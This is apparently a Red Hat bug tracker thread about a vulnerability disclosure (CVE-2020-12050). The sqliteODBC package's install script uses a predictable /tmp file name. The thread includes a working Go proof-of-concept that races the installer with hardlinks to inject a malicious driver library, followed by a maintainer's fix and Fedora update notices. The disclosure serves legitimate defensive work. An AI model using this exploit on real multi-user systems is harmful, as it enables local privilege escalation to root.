A vulnerability has been introduced in the package that installs sqliteODBC in Red Hat / CentOS / Fedora distributions. **Threat** Privilege escalation to root ## Vulnerability records **CVE ID**: CVE-YYYY-XXX **Access Vector**: local **Security Risk**: low **Vulnerability**: CWE-377 **CVSS Base Score**: 4.5 **CVSS Vector**: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L ## Details The sqliteODBC package install script saves a part of his configuration file in the `/tmp` folder, before running the `odbcinstall` script on it: ``` if [ -x /usr/bin/odbcinst ] ; then INST=/tmp/sqliteodbcinst$$ if [ -r /usr/lib64/libsqliteodbc.so ] ; then cat > $INST <<- 'EOD' [SQLITE] Description=SQLite ODBC 2.X Driver=/usr/lib64/libsqliteodbc.so Setup=/usr/lib64/libsqliteodbc.so Threading=2 FileUsage=1 EOD /usr/bin/odbcinst -q -d -n SQLITE | grep '^\[SQLITE\]' >/dev/null || { /usr/bin/odbcinst -i -d -n SQLITE -f $INST || true } ``` The temporary configuration file is saved during the installation using the following name `/tmp/sqliteodbc$$` (where $$ is the PID of the process). As the configuration file is using a predictable name, we can try to perform a race in order to write new contents before the file is loaded by `odbcinstall`. The PID of a process is incremental, so we just have to pre-create a bunch of *hardlinks* in the `/tmp` directory that target our payload. ## Proof of Concept We created the following Golang exploit code, that works nearly all the time during the installation of sqliteodbc: ```go package main import ( "fmt" "os" ) func SpreadHardlinks(pid int) { maxPid := pid + 100 fmt.Println("[+] Creating hardlinks...") for pid++ ; pid < maxPid; pid++ { target := fmt.Sprintf("/tmp/sqliteodbcinst%d", pid) err := os.Link("/tmp/race.ini", target) if err != nil { panic(err) } fmt.Printf("[~] Created hardlink : %s\n", target) } } func main(){ const poc = ` [default] Description=Sysdream ODBC Driver=/tmp/poc.so Driver64=/tmp/poc.so Setup=/tmp/poc.so Setup64=/tmp/poc.so Threading=2 FileUsage=1 ` pid := os.Getpid() fmt.Printf("[~] Current pid : %d\n", pid) fmt.Println("[+] Attempting to win the race, watch for changes in /etc/odbcinstall.conf !") f, err := os.OpenFile("/tmp/race.ini", os.O_CREATE | os.O_RDWR, 0700) if err != nil { panic(err) } SpreadHardlinks(pid) for { f.Seek(0, 0) f.WriteString(poc) f.Sync() } f.Close() } ``` That way, every time a program tries to use unixODBC, the `/tmp/poc.so` library will be loaded, enabling privilege escalation to the attacker. ## Affected versions * Tested on sqliteodbc-0.9996-4.fc31.x86_64.rpm
Note that we are posting here because we have never received any non automated reply from secalert. First contact on 2020/03/24, second request on 2020/04/16.
(In reply to Sysdream from comment #1) > Note that we are posting here because we have never received any non > automated reply from secalert. > > First contact on 2020/03/24, second request on 2020/04/16. For me it also the first time I've received any information related to that issue. >As the configuration file is using a predictable name, we can try to perform a race in order to write new contents before the file is loaded by `odbcinstall`. But, if I'm not mistaken in order to modify the content of that temporary file you need to have a root privileges anyway (unless RPM uses a wrong umask).
> For me it also the first time I've received any information related to that issue. Then, there is a big problem with the alerting process, that might be worth investigation on the side of Red Hat. > But, if I'm not mistaken in order to modify the content of that temporary file you need to have a root privileges anyway (unless RPM uses a wrong umask). The problem is that such a race condition enables code injection, which can lead to unexpected consequences for the user that blindly install the package. Note that the offensive file can be precreated by anyone and is not affected by the `umask` of the package or anything else. By the way, as Red Had is CNA, can you provide us with a CVE?
(In reply to Sysdream from comment #3) > > Note that the offensive file can be precreated by anyone and is not affected > by the `umask` of the package or anything else. My understanding is that, whatever you injected to that file, prior to installing the sqliteODBC package, will be overwritten by the RPM unconditionally.
You misunderstand the principle of a "race condition". It's a race that, for instance, the provided Go script tries to win. I think our PoC and the script are pretty self-explanatory, moreover you can test it easily.
(In reply to Sysdream from comment #5) > You misunderstand the principle of a "race condition". IMHO option I assume I know what is possibly the race condition. But I do not see a clear root escalation path if in order to modify this temp. file you need to also have a root privileges.
Created attachment 1680328 [details] PoC race condition Ok, so please find here a video of the PoC. Think of a multi-user system where anyone can write to /tmp. Hopefully it's clear now. Will you provide a CVE or shall we contact MITRE as usual?
(In reply to Sysdream from comment #7) > Created attachment 1680328 [details] > PoC race condition > > Ok, so please find here a video of the PoC. Thank you for the video, but that wasn't the information I was looking for. Looking at the scriptlet it seems that the root cause is in the bash here-doc which does not recreate the file if it already exists - it just overwrites its content. So I'll rewrite the scriptlet to create the temp. file using mktemp(1). FYI, the code is taken from the original upstream srpm[1]. > Will you provide a CVE or shall we contact MITRE as usual? I'm not aware of that process, so please follow usual steps. [1] http://www.ch-werner.de/sqliteodbc/sqliteodbc-0.9996-1.src.rpm
This will be CVE-2020-12050, so please refer to it in your changelog. When is the fix going to reach users in main repos?
FEDORA-2020-df7c647fa3 has been submitted as an update to Fedora 32. https://bodhi.fedoraproject.org/updates/FEDORA-2020-df7c647fa3
FEDORA-2020-c98c7da2f6 has been submitted as an update to Fedora 31. https://bodhi.fedoraproject.org/updates/FEDORA-2020-c98c7da2f6
FEDORA-2020-1e85425a52 has been submitted as an update to Fedora 30. https://bodhi.fedoraproject.org/updates/FEDORA-2020-1e85425a52
FEDORA-2020-1e85425a52 has been pushed to the Fedora 30 testing repository. In short time you'll be able to install the update with the following command: `sudo dnf upgrade --enablerepo=updates-testing --advisory=FEDORA-2020-1e85425a52` You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2020-1e85425a52 See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.
FEDORA-2020-c98c7da2f6 has been pushed to the Fedora 31 testing repository. In short time you'll be able to install the update with the following command: `sudo dnf upgrade --enablerepo=updates-testing --advisory=FEDORA-2020-c98c7da2f6` You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2020-c98c7da2f6 See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.
FEDORA-2020-df7c647fa3 has been pushed to the Fedora 32 testing repository. In short time you'll be able to install the update with the following command: `sudo dnf upgrade --enablerepo=updates-testing --advisory=FEDORA-2020-df7c647fa3` You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2020-df7c647fa3 See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.
FEDORA-2020-1e85425a52 has been pushed to the Fedora 30 stable repository. If problem still persists, please make note of it in this bug report.
FEDORA-2020-c98c7da2f6 has been pushed to the Fedora 31 stable repository. If problem still persists, please make note of it in this bug report.
FEDORA-2020-df7c647fa3 has been pushed to the Fedora 32 stable repository. If problem still persists, please make note of it in this bug report.